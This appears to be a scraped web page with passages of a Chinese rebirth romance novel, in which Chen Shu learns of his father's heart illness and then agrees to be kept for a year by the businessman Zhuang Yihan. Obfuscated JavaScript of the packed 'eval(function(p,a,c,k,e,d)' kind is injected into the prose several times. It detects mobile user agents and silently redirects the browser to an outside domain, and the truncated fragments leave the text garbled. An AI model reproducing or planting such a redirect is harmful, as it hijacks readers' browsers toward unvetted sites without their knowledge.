陈忌原本局促站在寝室楼下来回走动,一抬眼忽然发现陈恕下来了,眼底立刻迸发出惊喜的亮光,激动朝他挥了挥手:“哥!” 陈恕看见面前晒得微黑的弟弟难免有些晃神,毕竟上辈子有几年都没怎么见过面了,他上前接过陈忌手中大包小包的袋子,低头看了眼里面的东西:“你怎么忽然过来了,也不提前和我说一声。” 陈忌抬手擦了擦鼻子,有些不好意思的道:“爸让我来看看你,我来的路上小灵通不小心被人给摸走了,就没有电话,你寄回家的地址上面有学校名字和寝室号,我一路问过来的。” 陈恕问起了妹妹:“阿念呢,怎么没和你一起过来?” 陈父大字不识一个,所以家里三个孩子当初都是找一个山上道士取的名:恕因果,忌贪妄,念常安,从里面各选了三个字出来。 陈忌掂了掂肩膀上的包:“她学校还没放假呢,加上路又远,出村要坐好几个小时的大巴车,我就没让她过来。” 陈恕看了眼他风尘仆仆的模样:“吃饭了吗?” 陈忌咧嘴一笑,牙齿白白的:“吃过了,车上吃了两个馒头,一个鸡蛋,就是我有点晕车,下车的时候全吐了。” 言语间还有些可惜。 陈恕看了眼时间,发现刚好是中午吃饭的点:“走吧,我先带你出去吃饭,然后找个旅馆落脚休息。” 陈忌有些迟疑:“不用了哥,我晚上就打算坐车回去了。” 他想着晚上随便找个大巴客运站凑合一晚上就行,陈恕却根本没听,直接带着他往校门口走去,随便拦了辆车去附近的商业街:“难得来一趟,住两天再说。” 长兄如父,再加上陈恕性格有些冷漠,导致弟妹在家里都怵他,陈忌闻言果然老老实实坐在出租车后座,什么都不说了,只有一双眼睛透过车窗四处好奇的打量着。 陈恕上辈子也是富裕过的,更喜欢吃清淡养生的食材,他原本想找家干净点的餐馆点两道菜,但没想到陈忌经过麦当劳门前直接馋得走不动道了,脚步一顿,只好临时拐进去点了个双人套餐。 农村只有过年的时候才能见到一点荤腥,这种充斥着肉香的油炸食品对于陈忌来说无疑有着致命的诱惑力,他拿着一个汉堡狼吞虎咽,两三口就吃掉了一大半,一边吃一边含糊不清的问道:“哥,你也吃啊。” 陈恕把自己的那份往弟弟面前推了推:“我中午在学校食堂吃过了,不怎么饿,你都吃了吧。” 陈忌闻言用力点点头,吃完了汉堡又继续消灭薯条,少年正在成长的身体就像无底洞一样,吃再多东西也不会撑,一个双人套餐就那么被他硬生生吃了个精光。 陈忌末了擦了擦嘴,低头看了眼旁边,发现就自己最没吃相,有些不好意思的小声问道:“哥,这些汉堡是不是挺贵的?” 陈恕弯腰整理了一下脚边歪斜的袋子,不经意发现里面有几套老旧的男士换洗衣物,动作顿了顿,随即若无其事坐直身形:“你不用管,吃饱了就行,等会儿找个旅馆住一晚上,明天我买票送你回去。” 陈忌却有些吞吞吐吐的:“哥,我……” 陈恕耐心问道:“怎么了?” 陈忌满脸为难:“就是……” 陈恕摸了摸口袋,条件反射就想抽烟,但想起这是公共场合,就又忍住了,他垂眸调整了一下坐姿,因为有前世的记忆,所以轻易就能猜出弟弟想说些什么,声音淡淡:“给你三秒钟,现在不说以后都别和我说了。” 陈忌眼底闪过一丝无措,连忙攥住陈恕的手腕道:“哥,我说,我说,就是……就是爸的心脏不太好,前两天干活倒地里了,县里的医生说没办法治,要到大城市来,家里药费不太够……” 陈恕反问道:“那你觉得我有钱吗?” 陈忌一怔,为他嘲讽的语气。 陈恕面无表情盯着弟弟,不知怀着怎样的心情一字一句道:“老家的小学初中不用钱,高中学费是我自己给别人搬东西一点点攒的,大学的生活费也是我自己出去兼职挣的,我来a市那天,身上除了一个行李箱,兜里就只有二百块钱。” “这么多年我没拿过家里一分钱,从能走路开始就会干活了,上学的时候连饭都吃不饱,每个月还得往回寄,他心脏病住院要医药费,你觉得我有钱吗?嗯?” 接连几个问句把陈忌问得面红耳赤,他低头咬紧牙关,只觉得羞臊到了极点:“哥,我……我不是那个意思……” 陈恕听不出情绪的问道:“那你们是什么意思?” 从陈恕有记忆开始,贫穷就和跗骨之蛆一样紧紧伴随着他,那些血脉相连的亲人盘踞在他的伤口最痛处,几乎要将他身上的血吸干。 他固然有前世的经历做后盾,可以在这辈子开创一番事业,然而他还没来得及长成一棵参天大树,就被沉重的原生家庭硬生生压弯了脊背,捂在暗无天日的地下,再也没有破土的可能。 陈忌羞愧得无地自容,慌张解释道:“哥,是我说错了话,你……你别和我计较,我这次过来就是顺路看看你,然后给你捎点东西,没别的意思。” 他语罢手足无措解下身上的背包,从里面抱出一个透明的塑料油桶,里面放着满满当当的鸡蛋:“这个是从家里给你带的土鸡蛋,可有营养了,爸说你念书辛苦,平常累了就吃两个,还有、还有一些豆角和青菜,但是路上太远了,捂坏了……” 他一边说一边往外掏,鼓鼓囊囊的背包很快瘪了下去,桌上摆满了花花绿绿的塑料袋,邻桌的人纷纷投以注视,暗自讨论这个奇怪的乡下小子。 陈恕面无表情注视着这一切,不知在想些什么,冷不丁出声问道:“你们来几天了?” 陈忌诧异抬头:“哥?” 陈恕踢了踢脚边的袋子,里面全是他爸的换洗衣物:“我问你们来几天了?” 陈忌见瞒不过去,只好低下头呐呐道:“来了一个星期了,爸还在ICU躺着,医生说要用什么进口支架,又说了一堆什么乱七八糟的我也没听明白,那个病房一天就得花一万多,家里带的钱都花光了,我没办法才来找你的……” 家里的顶梁柱倒了,陈忌实在慌得乱了手脚,这才一路找到哥哥的学校来,他说着说着忍不住哭出了声:“哥,爸会不会死啊?” 手术费那么贵,把他们兄妹几个卖了都凑不齐。 陈恕反问:“是个人就会死,他又没什么特殊的,为什么不会死?” 他没有丝毫惊讶难过的情绪,反而神色漠然,仿佛病房里躺着的只是一个无关紧要的路人,毕竟上辈子都经历过一次了,再难过也有限度。 陈忌莫名觉得眼前的哥哥有些陌生,一时怔然失言,无意识抱紧了怀里的包,小声道:“哥……” 陈恕没理他,拉开椅子起身:“走吧,我先给你找个旅馆。” 陈忌连忙开口阻拦:“不用,哥,这几天我都是在医院走廊睡的,别浪费钱了。” 陈恕闻言脚步一顿,回头看向他:“我耐心不多,再问你最后一遍,住旅馆还是睡走廊?” 陈忌当然想睡走廊,但听陈恕语气沉沉,不像说好话的样子,迟疑一瞬,还是改了口:“我……我住旅馆。” 陈恕淡淡收回视线:“走吧,我在医院附近给你找家近点的旅馆。” 他带着陈忌走出麦当劳,在路边拦了辆车去医院,附近刚好有许多小旅馆,只是价格比别的地方贵了一点,陈恕暂时订了五天的房,幸亏这家医院在当地规模不是很大,地理位置在三环外,不然钱包根本吃不消。 陈忌眼睁睁看着陈恕数了一小沓红票子交给前台服务员,心疼得都在滴血,他强迫自己移开视线,磕磕绊绊问道:“哥,爸就在对面医院,你要不要和我去看看他?” “我不是医生,看了又能怎么样。” 陈恕拒绝了,他从记事开始和父亲的关系就不怎么亲厚,一年到头也说不了两句话,记忆中对方就是一个苍老抠搜的农家汉子,在自己小时候嫌累不想干活的时候会用皮带狠抽一顿,但也会偶尔攒两个难得的鸡蛋给自己吃,除此之外再无其他。 有些人的家庭是一件新棉袄,穿上去温暖舒适,有些人的家庭却是一件湿棉袄,穿上去冷,脱下来还是冷,偏偏又舍不得丢掉。 陈恕无数次希望自己的父亲酗酒、烂赌,变成一个恶人,这样他就可以有十足的理由斩断和原生家庭的关系,再也不用为了对方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄一寒觉得自己肯定是昏了头,否则怎么会因为那个男大学生轻飘飘一句话就推掉下午的会议赶出来见面,可惜后悔也晚了,等他反应过来的时候人已经坐在了咖啡厅。 正值下午三点,店里的客人并不多,悠扬悦耳的小提琴曲显得环境愈发清幽。陈恕坐在对面搅了搅咖啡,袅袅雾气升腾而起,衬得他皮肤愈发白皙,一双漂亮的眼睛微微垂下盯着杯子,和那天晚上冷漠带刺的模样比起来温顺了不止一星半点—— 起码庄一寒是这么认为的。 陈恕斟酌着开口:“庄总,很抱歉占用你的时间,我今天约你出来其实是想问问,你前两天说过的话还算数吗?” 那天说过的话? 庄一寒淡淡挑眉,脑海中不期然浮现出那个夜晚陈恕挑衅自己的模样,总觉得对方前后态度变得有些大,他双腿交叠坐在位置上,黑色的皮鞋一尘不染,在冷色调的西装衬托下透着难以言喻的贵气和优雅: “算数怎么样,不算数又怎么样?” 这个时候就可以看出商人的可恶之处了,庄一寒既不正面回答陈恕的问题,也不主动询问原因,反而一副轻描淡写的模样,让人不禁怀疑他对陈恕是不是已经失去了兴趣。 此刻桌对面如果坐的是另外一个人,只怕早就难堪羞愧得下不来台了,可惜陈恕并不是还没步入社会的愣头青,心态比久经商场的庄一寒还要稳些:“如果算数我就跟您,如果不算数,那就当我没问过。” 庄一寒也不知是不是为了报复对方上次拒绝自己,在面对陈恕的时候总会冒出一种莫名其妙的胜负心,淡淡挑眉:“是吗,如果我说我现在对你已经没什么兴趣了呢?” 陈恕笑了笑,仿佛没听出对方字里行间的作弄:“没关系,缘分的事强求不来,人的想法本来就是会变的,不过还是很抱歉占用了您的工作时间,今天这顿咖啡算我请。” 他语罢也不过多纠缠,直接唤来侍者买单,看样子是准备离开,庄一寒双手抱臂,全程冷眼旁观,想知道对方是不是在玩欲擒故纵,然而直到陈恕结完账朝着门口走去都没有丝毫要停留的意思,很明显不是在做戏。 一分钟过去了,两分钟过去了。 庄一寒的脸色一点点阴沉下来,终于有些坐不住,他眼见陈恕离开咖啡厅站在马路边,看样子是准备离去,直接捞过桌上的手机给对方打去电话,隔着透明的落地窗,能清晰看见陈恕接通电话后疑惑往这边看了一眼:“庄总,有事吗?” “……” 庄一寒缓缓吐出一口气,努力保持平静:“你去哪儿?” 陈恕没有说太多:“我下午还有点事。” 有点事?什么事?被自己拒绝了所以打算另外找个金主吗? 庄一寒嗤笑:“怎么,还有下一个等着你?” 陈恕语气讶异:“你怎么知道?” 庄一寒:“……” 妈的,居然还真有。 11. 嘴硬 庄一寒目光晦暗,直接挂断了电话,他看也不看桌上的咖啡,起身朝着门外大步走去。 陈恕今天来的时候借了于晦的车,他打开车门正准备坐进去,结果猝不及防被庄一寒攥住手腕抵在了车门边,对方垂眸时虽然遮住了眼底一闪而过的恼怒,唇角弧度却冰冷渗人,一字一句低声问道: “陈恕,你敢耍我?” 向来只有他庄一寒挑别人的份,什么时候轮到别人来挑他了? 陈恕看了眼对方攥住自己的手,一言不发。 庄一寒语气危险:“为什么不说话?” 陈恕还是不语,似笑非笑,仿佛想起了什么有趣的事。 瞧,庄一寒不是挺会发脾气,挺会威胁人的吗?怎么每次在蒋晰面前都隐忍不发,连屁都不放一个? 思来想去,大概是对方喜欢犯贱,不过陈恕也没什么资格点评,毕竟他自己上辈子也挺犯贱的,区别在于他重生了,于是这辈子只剩庄一寒一个人犯贱了。 那一刻谁也不知道陈恕在想些什么:“庄总,你误会了,我只是下午刚好约了朋友见面。” 庄一寒挑眉:“见面?做什么?” 陈恕:“借钱。” 庄一寒:“你就那么缺钱?” 陈恕乐了,心想这话问的,谁不缺钱:“我急需一百万。” 庄一寒皮笑肉不笑:“你那个‘朋友’肯借?” 陈恕不太确定:“一百万应该还是会借的吧?” 他的脸和身材绝对值这么多,去了会所大把人愿意出价钱,庄一寒丝毫不怀疑陈恕在被自己拒绝后随便找个冤大头也能凑齐这笔钱,所以他在对方心里其实也没什么特殊的?也是一个有钱的冤大头? 这个认知让庄一寒心里不太舒服,然而他越生气,神色就越平静,一阵冗长的静默过后,他从牙缝里硬生生挤了一句话:“五百万,下午我让秘书给你转过去!” 啧,这么大方? 陈恕闻言没有立即答应,而是认真打量着庄一寒,仿佛在思考对方是不是在说赌气话,直把人盯得恼羞成怒,即将处于爆发边缘,这才笑问道:“庄总这是打算改变主意了吗?” 庄一寒本来也没打算做什么,他刚才就是想拿捏一下陈恕,但很明显,对方根本不吃这一套,冷哼一声道:“怎么,我不能改变主意吗?” 陈恕心想当然可以,谁出钱谁是大爷嘛,不过…… “您打算包几年?” 这是一个值得思考的问题。 如果陈恕出去工作,在不创业的前提下,每个月工资按六千块算,得不吃不喝七十年才能攒够五百万,但现在这种情况肯定不能这么算,否则那就不叫包养了,叫买断。 说实话,庄一寒压根没考虑过这个问题,上流圈子鱼龙混杂,包养小情人这种事早就司空见惯,短点的过个夜就一拍两散了,长久点的也不过两三年,新鲜感能维持多久全看心情,从来不会有人问包养多久这种傻问题,总不过得宠一天就享一天的福。 庄一寒自认不是喜新厌旧的人,否则也不会在蒋晰身上死磕那么多年,可惜这种“专一”并不是对着陈恕的,他包养对方,一是因为确实合了自己的眼缘,二则有些和蒋晰叫板赌气的成分,比那些单纯贪图鱼水之欢的关系还要不牢靠。 说不定一年,说不定半个月,又或者十来天,他对陈恕的兴趣就会如潮水般瞬间褪去,最好的结局也不过是给一笔分手费,然后桥归桥路归路,回归到各自的人生轨迹里。 不过这种话说出来难免伤人。 “一年吧。” 庄一寒没怎么多加思考就给出了答案,一年时间不长不短,对双方来说都好,然而他话音刚落,就见陈恕忽然笑了一下,那笑意很浅,一闪而逝,快得险些让人捕捉不到。 庄一寒形容不出那抹笑意代表着什么,只是没由来冒出一阵心慌,仿佛在不久的将来他会为这个决定悔恨错憾,像一颗被光阴拖住姗姗来迟的子弹,在某个瞬间毫无预兆贯穿心脏,往后无论多少年回想起来都疼得彻夜难眠。 陈恕很替庄一寒可惜:“五百万包一年,会不会太贵了?” 庄一寒淡淡挑眉,心想陈恕到底还是个穷学生,没被圈子里的富贵迷过眼,否则怎么会问出这么傻的话来:“贵一点不好吗?” 贵一点,陈恕不吃亏,庄一寒自己也心安。 陈恕望着他笑了笑,一双惑人的狐狸眼也可以像弯弯的月亮,单纯乖巧:“当然好,我只是怕庄总吃亏。” 庄一寒也不知怎么了,看见陈恕笑起来的样子就觉得心头发痒,像被羽毛挠过一样:“我是生意人,从来不做亏本的买卖。” 他出这个价自然是因为觉得值,而且以后就算他们分开了,陈恕拿着这笔钱也能活得不错。 陈恕闻言静默不语,过了片刻才忽然道:“松手吧。” 庄一寒皱眉:“什么?” 陈恕一言不发握住他的手,用了些力气才从自己的衣领上拽下来,庄一寒上次的伤都在指关节处,好不容易结了痂,结果刚才一用力又崩裂开了,浅浅的往外渗血。 陈恕说话时嘴角带着一贯的笑意,很浅,却莫名让人觉得他生气了:“我又不会跑,你急什么?” 庄一寒丝毫不觉得自己做错了,冷冷挑眉:“你不跑上车做什么?” 陈恕不语,他在庄一寒的注视下打开车门,然后弯腰从驾驶座拿了一个药袋出来,在眼前晃了晃:“给你拿药。” 庄一寒见状一愣:“什么?” 话题转得太快,他还没有反应过来。 陈恕瞥了眼他手上的伤痕,轻声提醒道:“去疤药。” 他总是有让人愧疚得大半夜睡不着坐起来扇自己两巴掌的能力,庄一寒没想到陈恕还惦记着自己手上的伤,一时怔然,不知该说些什么。 陈恕见庄一寒一动不动,笑着问道:“怎么,还在生我的气?” 他一点也不介意庄一寒刚才的威胁,恰恰相反,他很乐意哄着对方,因为哄得越高,摔得就越惨,毕竟这个人不能一直都站在神坛上,难道不是么? 庄一寒丝毫不知道陈恕心里在想些什么,他情绪莫名的扫了眼对方手中的药盒,心里忽然有些不畅快:“你对每个约出来的客人都这么体贴?” 陈恕:“没有。” 庄一寒:“什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14457520|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈恕认真望着他:“没有别人,只对你这样。” 从来没有别人,他上辈子爱过的恨过的,只有庄一寒一个人。 初秋的风吹过街道,梧桐树沙沙作响,倦怠的阳光倾撒下来,让陈恕的周身多了一层浅淡的金色,那双淡漠的眼睛此刻竟说不出的深情专一,哪怕后来时隔多年,庄一寒也总是控制不住回想起这天的场景。 心慌意乱,情窦初开,雀跃欣喜,任何形容爱情萌动的词都可以用在那一天的他身上,只是那时尚且懵懂,并不知道真正的情爱滋味,只以为太阳燥热,引得心间滚烫。 庄一寒控制不住抿了抿唇:“我凭什么信你,刚才我如果不出来,你打算去见谁?” 陈恕笑笑:“我没打算去哪儿,只是出来给你拿药。” 庄一寒这才意识到什么似的,看向他身后那辆黑色汽车,价格对于普通学生来说相当昂贵:“你哪儿来的车?” 陈恕顺着他的目光看了眼,然后收回视线:“找同学借的,下午回学校就还回去。” 他们学校有些远,交通弯弯绕绕,过来不太方便,就借了于晦的车。 有了这个话题一打岔,庄一寒心中的气也诡异消了下来,他低头看了眼时间,发现再过一个小时就是晚饭的点,反正下午的会议已经推掉了,迟疑开口:“我的车刚好停在旁边,晚上陪我吃顿饭吧。” 这句话从庄一寒嘴里说出来,其实有些服软的意思。 陈恕轻轻点头,自然无不可:“我来开车吧,你把地址告诉我。” 他只看庄一寒眼角眉梢的疲惫就知道对方昨天肯定倒时差和国外合作方开视频会议了,这人无论出入什么地方身边都跟着司机,很少会亲自开车,而且吃饭的地方总是固定那几家,陈恕闭着眼都能猜出来庄一寒每天的行程安排。 庄一寒扫了陈恕一眼,有些讶异:“你会开车?” 陈恕不欲多言:“以前考过驾照。” 陈恕虽然穷,但心里一直有自己的主意,该花钱的时候从来不手软,他以前在老家为了挣钱给别人开过车,那个时候就借钱考了驾照,他爸知道后觉得白瞎钱,还用皮带狠抽了他一顿。 庄一寒也没多问,他开门坐上副驾驶,在脑海中筛选了一遍常去吃的那几家私房菜馆,随便选了家:“去香茗阁吧,他们家菜味道不错,你应该会喜欢。” 陈恕发动车子朝目的地驶去,基本上没怎么看导航,随口道:“我吃饭不挑。” 庄一寒:“现在跟了我,你可以挑。” 陈恕闻言动作一顿,偏头看去,却发现庄一寒已经放低座椅,闭目靠在上面进入了假寐状态,眉宇间难掩疲倦。太阳落山,车窗外的夕阳缓缓铺展开来,落在对方清冷的面庞上,愈发显得鼻梁高挺,和前世记忆中的模样一般无二。 “……” 陈恕沉默收回视线,继续开车,不知在想些什么,车速一缓再缓,格外平稳。就在他以为庄一寒已经睡着的时候,对方忽然嫌弃皱眉,冷不丁吐出了一句话: “还有,记得让那个‘一百万’滚蛋!” 花这么点破钱还想学别人出来包小情人,有多远滚多远! 12. 喜欢? 庄一寒报的那家私房餐厅其实并不好找,因为老板从来不对外挂牌营业,只有一些熟客老饕才知道地址,a市道路本来就是出了名的复杂,立交桥众多,绕到圈子里连导航都会失灵。 庄一寒原本想着等快到的时候再给陈恕指路,结果对方开车技术实在太好,从头到尾不见一丝颠簸,再加上他这几天开会熬通宵,靠在座椅上竟然不知不觉睡着了,等再次醒来时,只见车子停在一处幽静的洋房院子外,一条小碎石路通进前面的拱门,赫然已经到了目的地。 庄一寒刚刚睡醒,见状恍惚了几秒才回神,他皱眉坐起身,略显昏沉的闭了闭眼,低头时却发现自己身上搭着一件眼熟的外套,而车子里冷气静静运转,唯独不见了陈恕的身影。 “……” 庄一寒打开车门下车,四处看了一圈,最后发现陈恕正靠在车尾抽烟,对方俊美的侧脸隐入阴影,让人有些看不真切,只能瞥见他垂在身侧的右手,上面夹着半根快要燃尽的薄荷烟,指尖修长骨感,烟雾缭绕,如同一件完美的艺术品。 哪怕以庄一寒挑剔的目光来看,也无法从面前这个男人身上找到任何缺点,心情一时有些微妙,觉得对方不该是个“小情人”或者“金丝雀”的身份。 “什么时候到的,怎么不叫醒我?” 陈恕听见庄一寒的声音从身后响起,动作微不可察一顿,他转头看向对方,面庞在路灯照耀下终于多了几分温暖的人气,声音低沉温和:“刚到没多久,我刚好下车抽烟,就没叫你。” 语罢站直身形,掐灭烟头,直接扔进了旁边的垃圾桶,里面凌乱堆着几根一模一样的浅蓝色薄荷烟蒂,很明显在车外等了许久,和言语不大相符。 庄一寒瞥了垃圾桶一眼,莫名想起他们在酒店的那个夜晚,陈恕也是这样坐在外面抽了一晚上的烟,明明是最容易被外界欲望诱惑的年纪,却偏偏规矩的不得了,绝不越雷池一步—— 自己真的那么没魅力吗? 庄一寒望着陈恕淡漠的眼眸,冷不丁冒出了这个有些挫败的念头,毕竟有一个蒋晰拒绝在先,后面又来了个陈恕,由不得他不怀疑人生。 “问你个问题。” 庄一寒忽然上前一步,不动声色将陈恕抵在车尾,离得近了甚至能嗅到对方衣领上淡淡的薄荷味,他眼眸微垂,盯着男子微突性感的喉结饶有兴趣问道:“你是直的还是弯的?” 陈恕:“我是双。” 他喜欢一个人和性别无关,是男的也好,是女的也罢,归根到底只看那颗心,哪怕是路边的一块石头,只要得了他的喜欢,揣进兜里当宝贝又怎么样? 庄一寒:“……” 蒋晰是个直男已经够棘手了,没想到陈恕居然是个双,自己眼光也是“毒”,怎么净看上这种扎手的货。 庄一寒皮笑肉不笑:“那你将来的对象岂不是很辛苦,防着男的就算了,还得防着女的?” 陈恕微微勾唇:“庄总操心太多了。” 这件事和庄一寒没有半毛钱关系,咸吃萝卜淡操心。 庄一寒闻言目光瞬暗,他捏住陈恕的下巴,听不出情绪的问道:“你的意思是我不是你的对象,所以不能操心这种事吗?” 大部分有钱人都有点翻脸比翻书还快的神经毛病,庄一寒尤甚,上一秒还在和你笑着说话,下一秒就可以翻脸给你立规矩。 换了上辈子的陈恕大抵会心中刺痛,觉得庄一寒只把自己当个玩物,但这辈子心态不一样,也就没什么感觉了,毕竟谁玩谁还不一定。 “庄总理解错了。” 陈恕反握住庄一寒的手,然后缓慢扣紧,这个姿势离得太近,险些让人以为他会吻一吻对方的指尖,然而陈恕顿了顿,最后只是轻轻一笑: “我的意思是你没必要去考虑外面的男男女女,因为跟着你的时候,我不会把心思分给别人。” 他的爱和恨从来就没有分给旁人一星半点,尽数都倾注在了庄一寒的身上,因为是真话,所以不见半分虚伪讨好,哪怕是庄一寒这种久在名利场中打滚的人也看不出一丝一毫说谎的痕迹。 仿佛最卑劣的人,也有一颗最上等的真心。 庄一寒闻言愣了一瞬,神情玩味:“你是不是对我有点太认真了?” 他很有钱,有钱到可以买来很多东西,但就是因为这样他才比任何人都清楚,有些东西不是用钱就能买来的。 陈恕垂眸偏头,到底还是轻轻吻了他一下,只不过是落在庄一寒手腕上的那款蓝幽灵上,冰凉的宝石表盘,冰凉的唇,似笑非笑:“难道你喜欢别人对你敷衍?” 像蒋晰那样? 犯贱…… “我没这么说。” 庄一寒盯着陈恕红艳的唇,只觉得格外蛊惑人心,被吻上也不知是什么感觉,可惜那一吻落在手表上,莫名让人多了几分怅然若失,他收拾好心情道:“进去吃饭吧,时间不早,再过两个小时他们就关门了。” 离开了幽静的外院,走到内门就有服务员出来迎接,穿着古色古香的马面裙,颇为清雅,一楼的桌位都是用雕花板分隔开来,客人多,但是并不吵闹,烹茶吃菜,没有寻常酒楼碗筷碰撞的喧嚣烟火,二楼隐蔽性更好,餐桌靠着栏杆,垂下一道纱帘,似有似无的让人看不真切。 庄一寒是熟客,落座后径直勾了几样招牌菜,又问陈恕有没有什么忌口的,在得到否定的答复后直接让服务员下去做了。 “这里比较安静,菜也清淡,不过老板不喜欢宣传,所以大部分都是朋友过来捧场,外人来得提前半个月预约,下次你想过来,直接报我的名字划账。” 庄一寒说的这些陈恕都知道,只是知道的比较晚,因为上辈子他跟在庄一寒身边两三年才渐渐了解这个地方,老板和庄一寒私交甚好。 那这辈子呢?这辈子他和庄一寒好像才确定关系不到一天? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14464605|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也许前世今生命运轨迹的截然不同,让陈恕多少感到了些许嘲弄,只是面上不显。他垂眸看向纱帘缝隙外间,发现底下那群吃饭的客人不少都是熟脸,有些在古董收藏节目见过,有些在财经杂志上见过,还有一个明星,而这家店明显隐私体验极好,绝不会有人莫名其妙上前要签名或者攀谈,各吃各的,很是安静。 陈恕收回视线:“庄总就不怕遇见熟人?” 包养小情人这种事或多或少都有些不大光彩,以庄一寒的性格虽然不屑藏着掖着,但想让他主动带出来介绍也绝非易事,这家私房餐厅碰见熟人的几率相当大,反正光陈恕记得的就有三四个。 庄一寒端起茶杯抿了一口,淡淡挑眉,显得不是很在意:“遇见就遇见,怎么,我们两个很见不得人?” 嗯,是挺见不得人的,两个狗男男。 陈恕笑了笑,没说话,或许庄一寒还是在赌气,蒋晰都光明正大订婚了,他又凭什么躲躲闪闪。 没过多久,服务员端着菜上来了,四菜一汤,极尽雅致,大荤大腥的东西都没有,哪怕是普普通通的一道白玉汤也暗藏玄机,不知道用了多少海参鲍鱼来吊鲜味。 菜式和他们第一次来的时候点的有些不太一样,却说不清到底是因为时令季节,还是因为蝴蝶翅膀带来的改变。 陈恕上辈子吃过很多次,挺喜欢,但也只是寻常喜欢,略微动了一小半就停下筷子,没有出现普通客人第一次接触时的惊喜赞叹风卷残云,惹得庄一寒略显疑惑的看了他一眼:“不合你口味吗?” 陈恕:“挺好的。” 庄一寒:“那你怎么只吃这么一点?” 陈恕闻言奇怪看向他,觉得庄一寒也许真的有点毛病,自己上辈子吃得狼吞虎咽,他嫌自己没见过世面像个土包子,这辈子吃少了也不行,横竖都不行。 陈恕淡淡道:“不是很饿。” 庄一寒闻言也没再说什么,酒足饭饱,他才终于有心思去琢磨陈恕今天的不对劲,对方上次拒绝自己的时候那叫一个斩钉截铁,怎么今天忽然又想通了? 庄一寒从来不藏事,心里这么想,直接就问出来了:“你上次不是不愿意跟我吗,这次怎么又同意了?” 陈恕不太想说家里的事,或者说他觉得那些事和庄一寒没关系,各人顾好各人的麻烦,没必要彼此牵扯:“不是说了吗,缺钱。” 庄一寒:“哪里缺钱?” 或者说,一个学生哪里会急需一百万? 陈恕:“哪里都缺。” 庄一寒声音沉了下来:“你在和我打哑谜?” 陈恕一点也不怕他:“我说的是实话,穷人哪里都缺钱,庄总是个能耐人,指缝里漏出来一点都够我这种人吃上半辈子了,答应跟你很稀奇吗?” 他望着庄一寒,说的很直白,却让人分不清真假: “我喜欢钱,很喜欢,这样行了吗?” “……” 13. 爱与恨 喜欢钱?当然行,庄一寒最怕别人不图他的钱了,因为不图他的钱,就代表着要图他的命。他最满意陈恕不会把情情爱爱挂在嘴边这一点,本来就是花钱包养的一锤子买卖,谈爱情不是很可笑吗?干脆利落承认自己喜欢钱多好,偏偏圈子里那些小情人总喜欢扯着爱情当遮羞布。 庄一寒微微勾唇:“钱是最不值钱的东西,你只要不沾赌,随便你怎么花,扔水里听响都行。” 这个年纪的学生思想简单,最容易被人勾着去碰赌博,利滚利欠下一屁股贷款,庄一寒原本在想陈恕是不是也被骗了,但看对方不像那种糊涂蛋,就略微放下了心。 陈恕原本在喝水,闻言不知想起什么,动作微不可察一顿,他把杯子慢慢放回原位,望着里面一圈一圈微弱的涟漪,莫名觉得有些像自己淹死时的水面,笑着道:“不听了,已经听够了。” 违禁的东西陈恕绝不会沾,但赌博不一定存在于牌桌上,细究起来,他们谁又不是命运的赌徒? 庄一寒又问道:“你等会儿回学校吗?我开车送你回去。” 陈恕嗯了一声:“你呢,回公司还是回家?” 也不知道是不是陈恕太过正经勾人,庄一寒掀起眼皮看向他,难得起了逗弄的心思,笑问道:“怎么,你想跟我回家?” 别人包小情人就是为了上床,对方如果有这个念头也不稀奇。 不过庄一寒目前没这方面的需求,他垂眸漫不经心吹了吹茶杯里冒出来的热气,声音低沉,优雅得不容欲望沾染:“你平常陪我出来吃吃饭就行了,别的不用你做。” 陈恕问得直白:“庄总的意思是不用上床?” 倒也不太意外,毕竟前世除了那一晚,庄一寒再也没让他碰过,陈恕对这种事已经没什么执念了,不碰就不碰吧,庄一寒这种上了床就乱抓乱挠的狗东西,睡一次能少半条命,谁愿意伺候谁去伺候。 庄一寒不语,算是默认。 陈恕饶有兴趣:“可以知道原因吗?” 他其实知道原因,左不过就是为了蒋晰,只是不问难免显得有些奇怪。 庄一寒向后倒入椅背,倒也没打算瞒着:“因为……” 我有喜欢的人。 话到嘴边,庄一寒忽然迟疑了一瞬,莫名的,心中并不是很想把这句话说出来,只是他有些好奇陈恕听见这句话的反应,然而还没来得及开口,楼下忽然传来一阵骚动,打断了他的未尽之言。 庄一寒微微皱眉,循声看去,却发现楼梯拐角来了另外一拨客人,为首的男子一身浅色休闲装,身形高挑,气质颇为文艺,看起来还有几分眼熟。 陈恕刚才就说过了,在这里吃饭很容易碰见熟人,尤其是经常和庄一凡他们扎堆玩的那些公子哥儿。这拨客人里为首的男子长相颇为文雅,名叫方倚庭,家里是做画廊生意的,陈恕依稀记得他和庄一寒还有蒋晰的关系都不错,属于长袖善舞挺会来事儿的那种人,也是前世为数不多对自己态度尚可的人。 方倚庭经过楼梯拐角的时候显然也看见庄一寒了,眼睛一亮,立刻上前两步打招呼: 